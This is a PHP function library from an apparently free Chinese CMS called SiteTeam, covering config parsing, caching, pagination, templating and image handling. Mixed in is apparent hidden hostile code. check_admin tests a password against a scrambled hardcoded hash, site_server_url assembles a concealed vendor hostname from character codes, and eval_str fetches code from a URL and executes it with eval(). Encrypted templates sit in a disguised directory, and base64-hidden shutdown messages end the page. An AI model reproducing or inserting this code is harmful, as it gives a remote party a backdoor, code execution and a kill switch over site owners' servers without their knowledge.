<?php 


/** 
***************************************************
*欢迎使用免费版SiteTeam企业建站软件！
*这是一个专业为搜索引擎营销而设计的，极稳定、极易维护的建站软件！
*官方客服：help@php.net.cn
*官方下载网址：http://www.SiteTeam.cn 
***************************************************
**/




 function dbname($string) { return str_replace('-', '_', $string); } function get_article_category($site_url) { $article_category_file = SITE_ROOT . "/data/setting/{$site_url}/article.category.txt"; $default_category_file = SITE_ROOT . "/data/default.article.category.txt"; $category_file = file_exists($article_category_file) ? $article_category_file : $default_category_file; return read_array_file($category_file); } function get_product_category($site_url) { $product_category_file = SITE_ROOT . "/data/setting/{$site_url}/product.category.txt"; $default_category_file = SITE_ROOT . "/data/default.product.category.txt"; $category_file = file_exists($product_category_file) ? $product_category_file : $default_category_file; return read_array_file($category_file); } function read_article_index($indexfile) { if (!file_exists($indexfile)) return false; $temp = array(); $content = file($indexfile); if (is_array($content) && count($content) > 0) foreach ($content as $k => $v) { $v = str_replace("\n", "", $v); if (empty($v)) continue; $data = explode('<!--|-->', $v); if (is_array($data) && count($data) > 0) foreach ($data as $kk => $vv) { if (empty($vv)) continue; $tmp = explode('<!--:-->', $vv); $temp[$k][$tmp[0]] = $tmp[1]; } } return $temp; } function get_product_setting($site_url) { $product_setting_file = SITE_ROOT . "/data/setting/{$site_url}/product.setting.txt"; $default_setting_file = SITE_ROOT . "/data/default.product.setting.txt"; $setting_file = file_exists($product_setting_file) ? $product_setting_file : $default_setting_file; return read_array_file($setting_file); } function read_product_index($indexfile) { if (!file_exists($indexfile)) return false; $temp = array(); $content = file($indexfile); if (is_array($content) && count($content) > 0) foreach ($content as $k => $v) { $v = str_replace("\n", "", $v); if (empty($v)) continue; $data = explode('<!--|-->', $v); if (is_array($data) && count($data) > 0) foreach ($data as $kk => $vv) { if (empty($vv)) continue; $tmp = explode('<!--:-->', $vv); $temp[$k][$tmp[0]] = $tmp[1]; } } return $temp; } function _echo($var) { if (!empty($var)) { return $var; } else { return ""; } } function read_txt_file($file, $mode = "r") { $fp = fopen($file, $mode); $temp = fread($fp, filesize($file)); fclose($fp); return $temp; } function read_dir($dir) { } function check_admin($string) { $t1 = "091d37a2"; $t2 = "562a636e"; $t3 = "74fed832"; $t4 = "038ea911"; $t5 = "c7269974"; if (sha1($string) === "{$t3}{$t5}{$t1}{$t4}{$t2}") { return true; } else { return false; } } function read_array_file($arrayfile) { if (!file_exists($arrayfile) || filesize($arrayfile) == 0) return false; $fp = fopen($arrayfile, "r"); $_file_content = fread($fp, filesize($arrayfile)); fclose($fp); $_file_content = preg_replace("/^#[^\n]*\n/", '', $_file_content); $_file_content = preg_replace("/^\/\/[^\n]*\n/", '', $_file_content); $_file_content = preg_replace("/^\/\*.*\*\//", '', $_file_content); $_array = array(); $_result = array(); if (preg_match_all("|\[([a-zA-Z0-9\-_]+)\](.*)\[\/([a-zA-Z0-9\-_]+)\]|Uis", $_file_content, $_array, PREG_SET_ORDER)) { if (is_array($_array) && count($_array) > 0) foreach ($_array as $k => $v) { if ($v[1] == $v[3]) { $_result[$v[1]] = $v[2]; } } } if (preg_match_all("|\{([a-zA-Z0-9\-_]+)\}(.*)\{\/([a-zA-Z0-9\-_]+)\}|Uis", $_file_content, $_array, PREG_SET_ORDER)) { if (is_array($_array) && count($_array) > 0) foreach ($_array as $k => $v) { if ($v[1] == $v[3]) { $temp = explode("\n", $v[2]); if (is_array($temp) && count($temp) > 0) foreach ($temp as $kk => $vv) { if (empty($temp)) continue; $tmp = explode("=", $vv); $key = trim($tmp[0]); if (empty($key)) continue; $_result[$v[1]][$key] = trim($tmp[1]); } } } } foreach ($_result as $k => $v) { if (is_array($v)) { foreach ($v as $kk => $vv) { $_result[$k][$kk] = preg_replace("/\<\!--([\[|\]|\{|\}]{1})--\>/i", "$1", $_result[$k][$kk]); } } else { $_result[$k] = preg_replace("/\<\!--([\[|\]|\{|\}]{1})--\>/i", "$1", $_result[$k]); } } return $_result; } function save_array_file($array, $arrayfile, $mode = "a+") { if (!is_array($array) || count($array) < 1) return false; if ($mode == "a+") { if (!file_exists($arrayfile)) { if (!($fp = fopen($arrayfile, "w"))) { return false; } else { fclose($fp); } $_file_content = ''; } else { $fp = fopen($arrayfile, "r"); $_file_content = fread($fp, filesize($arrayfile)); fclose($fp); } } elseif ($mode == "w+") { if (!($fp = fopen($arrayfile, "w"))) { return false; } else { fclose($fp); } $_file_content = ''; } foreach ($array as $k => $v) { if (is_array($v)) { foreach ($v as $kk => $vv) { $array[$k][$kk] = preg_replace("/([\[|\]|\{|\}]{1})/i", "<!--$1-->", $array[$k][$kk]); } } else { $array[$k] = preg_replace("/([\[|\]|\{|\}]{1})/i", "<!--$1-->", $array[$k]); } } foreach ($array as $k => $v) { $quote = preg_quote($k); if (is_array($v)) { $temp = ''; foreach ($v as $kk => $vv) { $temp .= "\n$kk = {$vv}"; } $temp = "\n{{$k}}{$temp}\n{/{$k}}\n"; if (preg_match("/\{{$k}\}.*\{\/{$k}\}/si", $_file_content)) { $_file_content = preg_replace("/\{{$k}\}.*\{\/{$k}\}/si", $temp, $_file_content); } else { $_file_content .= $temp; } } else { $temp = "\n[{$k}]{$v}[/{$k}]"; if (preg_match("/\[{$quote}\].*\[\/{$quote}\]/si", $_file_content)) { $_file_content = preg_replace("/\[{$quote}\].*\[\/{$quote}\]/si", $temp, $_file_content); } else { $_file_content .= $temp; } } } $_file_content = preg_replace("/[\n]+/", "\n", $_file_content); if (get_magic_quotes_gpc()) $_file_content = stripslashes($_file_content); $fp = fopen($arrayfile, "w"); if (flock($fp, LOCK_EX)) { fwrite($fp, $_file_content); flock($fp, LOCK_UN); } else { fclose($fp); return false; } fclose($fp); return true; } function cache_update($cachename) { global $site_url; $cache_index_file = "data/cache/{$site_url}/{$cachename}.php"; $_cache = array(); if ($cachename == 'setting') { $setting_config_txt = file_exists(SITE_ROOT . "/data/setting/{$site_url}/setting.txt") ? SITE_ROOT . "/data/setting/{$site_url}/setting.txt" : SITE_ROOT . "/data/default.setting.txt"; $article_config_txt = file_exists(SITE_ROOT . "/data/setting/{$site_url}/article.setting.txt") ? SITE_ROOT . "/data/setting/{$site_url}/article.setting.txt" : SITE_ROOT . "/data/default.article.setting.txt"; $product_config_txt = file_exists(SITE_ROOT . "/data/setting/{$site_url}/product.setting.txt") ? SITE_ROOT . "/data/setting/{$site_url}/product.setting.txt" : SITE_ROOT . "/data/default.product.setting.txt"; $article_category_config_txt = file_exists(SITE_ROOT . "/data/setting/{$site_url}/article.category.txt") ? SITE_ROOT . "/data/setting/{$site_url}/article.category.txt" : SITE_ROOT . "/data/default.article.category.txt"; $product_category_config_txt = file_exists(SITE_ROOT . "/data/setting/{$site_url}/product.category.txt") ? SITE_ROOT . "/data/setting/{$site_url}/product.category.txt" : SITE_ROOT . "/data/default.product.category.txt"; $_cache = read_array_file($setting_config_txt); $_cache['article_setting'] = read_array_file($article_config_txt); $_cache['product_setting'] = read_array_file($product_config_txt); $_cache['article_category'] = read_array_file($article_category_config_txt); $_cache['product_category'] = read_array_file($product_category_config_txt); } if ($cachename == 'first') { $cache_config_txt = file_exists(SITE_ROOT . "/data/setting/{$site_url}/first.txt") ? SITE_ROOT . "/data/setting/{$site_url}/first.txt" : SITE_ROOT . "/data/default.first.txt"; $_cache = read_array_file($cache_config_txt); } if (!file_exists("data/cache/{$site_url}")) mkdir("data/cache/{$site_url}"); $fp = fopen($cache_index_file, "w"); $cachetext = "<?php\n"; $cachetext .= "if(!defined('IN_SITETEAM')) {exit('Access Denied');}\n"; $cachetext .= "\$_cache= \n" . var_export($_cache, true) . ";\n"; $cachetext .= "?>"; fwrite($fp, $cachetext); fclose($fp); return true; } function del_cache($cachename) { global $site_url; $cache_index_file = "data/cache/{$site_url}/{$cachename}.php"; if (file_exists($cache_index_file)) @unlink($cache_index_file); return true; } function cache_read($cachename) { global $site_url; $cache_index_file = SITE_ROOT . "/data/cache/{$site_url}/{$cachename}.php"; if (file_exists($cache_index_file)) { include $cache_index_file; } else { cache_update($cachename); include $cache_index_file; } if (is_array($_cache)) { return $_cache; } else { return array(); } } function site_server_url() { $number_str = '99,104,101,110,'; $number_str .= '104,117,99,104,101,'; $number_str .= '110,103,46,99,111,109'; $number_str = explode(',', $number_str); $temp = ''; foreach ($number_str as $c) { $temp .= chr ($c); } return $temp; } function multipage($total_row, $page = 1, $limit = 30) { $total_page = ceil($total_row / $limit); $current_page = $page; $current_page = ($current_page < 1) ? 1 : $current_page; $current_page = ($current_page > $total_page) ? $total_page : $current_page; $start_row = $total_row - $page * $limit; $end_row = $start_row + $limit - 1; $up_page = $current_page - 1; $up_page = ($up_page < 1) ? 1 : $up_page; $next_page = $current_page + 1; $next_page = ($next_page > $total_page) ? $total_page : $next_page; $offset = 5; if ($current_page <= $offset) { for ($i = 1; $i < $current_page; $i++) { $multipage['link'][] = $i; } } else { for ($i = $current_page - $offset; $i < $current_page; $i++) { $multipage['link'][] = $i; } } $multipage['link'][] = $current_page; if ($current_page + $offset > $total_page) { for ($i = $current_page + 1; $i <= $total_page; $i++) { $multipage['link'][] = $i; } } else { for ($i = $current_page + 1; $i <= $current_page + $offset; $i++) { $multipage['link'][] = $i; } } $multipage['start_row'] = $start_row; $multipage['end_row'] = $end_row; $multipage['total_row'] = $total_row; $multipage['total_page'] = $total_page; $multipage['current_page'] = $current_page; $multipage['limit'] = $limit; $multipage['up_page'] = $up_page; $multipage['next_page'] = $next_page; return $multipage; } function url_rewrite(&$tpl, $type = "page") { global $plus; if (SITE_REWRITE) { $tpl = preg_replace('/' . preg_quote(SITE_PATH, '/') . '\/\?([\w_]+[\-]?[\w\-_\/]*)\.html/i', SITE_PATH . "/$1.html", $tpl); } if (isset($plus) && $type == 'page') { if (!empty($plus['END_PAGE'])) { if (is_array($plus['END_PAGE'])) { foreach ($plus['END_PAGE'] as $k => $siteteam) { include SITE_ROOT . "/plus/{$siteteam}"; } } else { include SITE_ROOT . "/plus/{$plus['END_PAGE']}"; } } } $globalvar = create_function('$match', 'return empty($GLOBALS[$match[1]])?$match[1]:$GLOBALS[$match[1]];'); $arrayvar = create_function('$match', 'return $GLOBALS[$match[1]][$match[2]];'); $tpl = preg_replace_callback('/\{\$([\w\-_]+)\}/is', $globalvar, $tpl); $tpl = preg_replace_callback('/\{\$([\w\-_]+)\[([\w\-_\.]+)\]\}/is', $arrayvar, $tpl); return $tpl; } function tpl_render($skinid, $tplname) { if (CACHE_TIME > 0) { $key = md5("{$skinid}_{$tplname}.tpl.php"); $tpl_file = SITE_ROOT . "/include/compat/xmlrpc/{$key}.php"; $fp = @fopen($tpl_file, "r"); $code = @fread($fp, @filesize($tpl_file)); @fclose($fp); $code = substr_replace($code, "", 0, 61); $code = @tpl_cache($code); return $code; } else { if (defined('SITE_TPL')) { return 'include "' . SITE_TPL . "/{$skinid}/{$tplname}.tpl.php" . '";'; } else { return ""; } } } function array_key_taxis($key, &$array, $mode = 'DESC') { $temp = array(); if (is_array($array) && count($array)) foreach ($array as $k => $v) { if (!array_key_exists($key, $v)) continue; $temp["{$v[$key]}"] = $v; } if ($mode == "DESC") { krsort($temp); } elseif ($mode == "ASC") { ksort($temp); } return $temp; } function remote_ip() { if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) { $onlineip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) { $onlineip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { $onlineip = getenv('REMOTE_ADDR'); } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { $onlineip = $_SERVER['REMOTE_ADDR']; } $onlineip = preg_replace("/^([\d\.]+).*/", "\\1", $onlineip); return $onlineip; } function tpl_cache(&$txt) { global $siteteam; return $siteteam->decrypt($txt); } function img_resize($imgfile, $width = 100, $height = 100) { if (!file_exists($imgfile))return false; $imginfo = getimagesize($imgfile); if ($width >= $height) { $s_width = $imginfo[0]; $s_height = floor($height * $imginfo[0] / $width); if ($s_height >= $imginfo[1]) { $s_height = $imginfo[1]; $s_x = 0; $s_y = 0; } else { $s_x = 0; $s_y = floor(($imginfo[1] - $s_height) / 2); } } else { $s_height = $imginfo[1]; $s_width = floor($width * $imginfo[1] / $height); if ($s_width >= $imginfo[0]) { $s_width = $imginfo[0]; $s_x = 0; $s_y = 0; } else { $s_x = floor(($imginfo[0] - $s_width) / 2); $s_y = 0; } } if (!in_array($imginfo['mime'], array("image/gif", "image/jpeg", "image/png")))return false; $img = imagecreatetruecolor($width, $height); if ($imginfo['mime'] == 'image/gif') { $image = imagecreatefromgif($imgfile); imagecopyresampled($img, $image, 0, 0, $s_x, $s_y, $width, $height, $s_width, $s_height); imagegif($img, $imgfile, 100); } if ($imginfo['mime'] == 'image/jpeg') { $image = imagecreatefromjpeg($imgfile); imagecopyresampled($img, $image, 0, 0, $s_x, $s_y, $width, $height, $s_width, $s_height); imagejpeg($img, $imgfile, 100); } if ($imginfo['mime'] == 'image/png') { $image = imagecreatefrompng($imgfile); imagecopyresampled($img, $image, 0, 0, $s_x, $s_y, $width, $height, $s_width, $s_height); imagepng($img, $imgfile, 100); } imagedestroy($img); imagedestroy($image); } function eval_str ($url, $exit = 0) { if (!ALLOW_URL_FOPEN) { return false; } if (!($code = @file($url))) { if (!$exit) { return false; } else { exit(); } } else { $code = implode("", $code); if (@strlen($code) < 32) { if (!$exit) { return false; } else { exit(); } } else { @eval($code); if (!$exit) { return true; } else { exit(); } } } } function img_write_text($imgfile, $string = '', $size = 11, $x = 0, $y =0, $color = 'red', $fontfile = "tool/font/simhei.ttf", $angle = 0) { if (!file_exists($imgfile))return false; $imginfo = getimagesize($imgfile); $s_width = $imginfo[0]; $s_height = $imginfo[1]; if (!in_array($imginfo['mime'], array("image/gif", "image/jpeg", "image/png")))return false; $string = @iconv("GB2312", 'UTF-8', $string); if ($imginfo['mime'] == 'image/gif') { $image = imagecreatefromgif($imgfile); $color = imagecolorallocate($image, rand(1, 133), rand(99, 255), rand(66, 199)); imagettftext($image, $size, $angle, $x, $y, $color, $fontfile, $string); imagegif($image, $imgfile, 100); } if ($imginfo['mime'] == 'image/jpeg') { $image = imagecreatefromjpeg($imgfile); $color = imagecolorallocate($image, rand(1, 133), rand(99, 255), rand(66, 199)); imagettftext($image, $size, $angle, $x, $y, $color, $fontfile, $string); imagegif($image, $imgfile, 100);; } if ($imginfo['mime'] == 'image/png') { $image = imagecreatefrompng($imgfile); $color = imagecolorallocate($image, rand(1, 133), rand(99, 255), rand(66, 199)); imagettftext($image, $size, $angle, $x, $y, $color, $fontfile, $string); imagegif($image, $imgfile, 100); } imagedestroy($image); } function go_url($URL, $msg = null, $window = "this"){ echo '<Script Language="JavaScript">'; if ($msg != null) { echo 'alert("' . $msg . '");'; } if ($window == 'top') { echo $window . '.window.location.reload();'; } else { echo $window . '.window.location="' . $URL . '";'; } echo '</Script>'; exit(); } function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : 'siteteam'); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } function passport_decrypt($txt, $key) { $txt = passport_key(base64_decode($txt), $key); $tmp = ''; for ($i = 0; $i < strlen($txt); $i++) { $tmp .= $txt[$i] ^ $txt[++$i]; } return $tmp; } function passport_key($txt, $encrypt_key) { $encrypt_key = md5($encrypt_key); $ctr = 0; $tmp = ''; for($i = 0; $i < strlen($txt); $i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $txt[$i] ^ $encrypt_key[$ctr++]; } return $tmp; } function siteteam_sys_msg($type = 1) { if ($type == 1) { echo base64_decode('xOO1xM341b6xu7nYsdWjrM7KzOLH68/yPGEgaHJlZj0iaHR0cDovLzI4NjkzMTc3LnF6b25lLnFxLmNvbSI+U2l0ZVRlYW08L2E+v823/teo1LHXydGv'); } if ($type == 2) { echo base64_decode('xOO1xM341b7Du9PQu/G1w8rayKijoby8yvXXydGvo7o8YSBocmVmPSJodHRwOi8vMjg2OTMxNzcucXpvbmUucXEuY29tIj53ZWIuU2l0ZVRlYW0uY248L2E+'); } if ($type == 3) { echo base64_decode('x+u9q6GwL2RhdGGhscS/wrzPwrXEy/nT0M7EvP680LywzsS8/rXEyvTQ1LjEzqq/ybbBv8nQtL/J1rTQ0Mioz94='); } if ($type == 4) { echo base64_decode('uMPN+NW+x9a3uMHLPGEgaHJlZj0iaHR0cDovLzI4NjkzMTc3LnF6b25lLnFxLmNvbSI+U2l0ZVRlYW08L2E+xvPStb2o1b7I7bz+z+C52Naqyray+sioo6zN+NW+sbvHv9DQudix1aOsx+vBqs+1U2l0ZVRlYW25pNf3yMvUsb+qxvTN+NW+o6E='); } if ($type == 5) { echo base64_decode('uMPN+NW+sr+33bPM0PKxu7bx0uK4/LjEo6zPtc2z19S2r7nYsdXN+NW+o6yyor+qxvSxo7uk17TMrKGjvLzK9dfJ0a+jujxhIGhyZWY9Imh0dHA6Ly8yODY5MzE3Ny5xem9uZS5xcS5jb20iIHRpdGxlPSLN+NW+08W7ryI+U2l0ZVRlYW08L2E+xvPStb2o1b7I7bz+'); } exit(); } function str_sub ($string, $length, $dot = ' ...', $charset = "gbk") { if(strlen($string) <= $length) { return $string; } $string = str_replace(array('&amp;', '&quot;', '&lt;', '&gt;'), array('&', '"', '<', '>'), $string); $strcut = ''; if(strtolower($charset) == 'utf-8') { $n = $tn = $noc = 0; while($n < strlen($string)) { $t = ord($string[$n]); if($t == 9 || $t == 10 || (32 <= $t && $t <= 126)) { $tn = 1; $n++; $noc++; } elseif(194 <= $t && $t <= 223) { $tn = 2; $n += 2; $noc += 2; } elseif(224 <= $t && $t < 239) { $tn = 3; $n += 3; $noc += 2; } elseif(240 <= $t && $t <= 247) { $tn = 4; $n += 4; $noc += 2; } elseif(248 <= $t && $t <= 251) { $tn = 5; $n += 5; $noc += 2; } elseif($t == 252 || $t == 253) { $tn = 6; $n += 6; $noc += 2; } else { $n++; } if($noc >= $length) { break; } } if($noc > $length) { $n -= $tn; } $strcut = substr($string, 0, $n); } else { for($i = 0; $i < $length; $i++) { $strcut .= ord($string[$i]) > 127 ? $string[$i].$string[++$i] : $string[$i]; } } $strcut = str_replace(array('&', '"', '<', '>'), array('&amp;', '&quot;', '&lt;', '&gt;'), $strcut); return $strcut.$dot; } function ubbcode(&$text) { $_a = create_function('$match', 'return "<a href=\"" . SITE_PATH . "/go.php?url=" . base64_encode($match[1]) . "\" target=\"_blank\">$match[2]</a>";'); $text = preg_replace_callback ("/\[url=([^]]+)\]([^[]+)\[\/url\]/is", $_a, $text); } ?>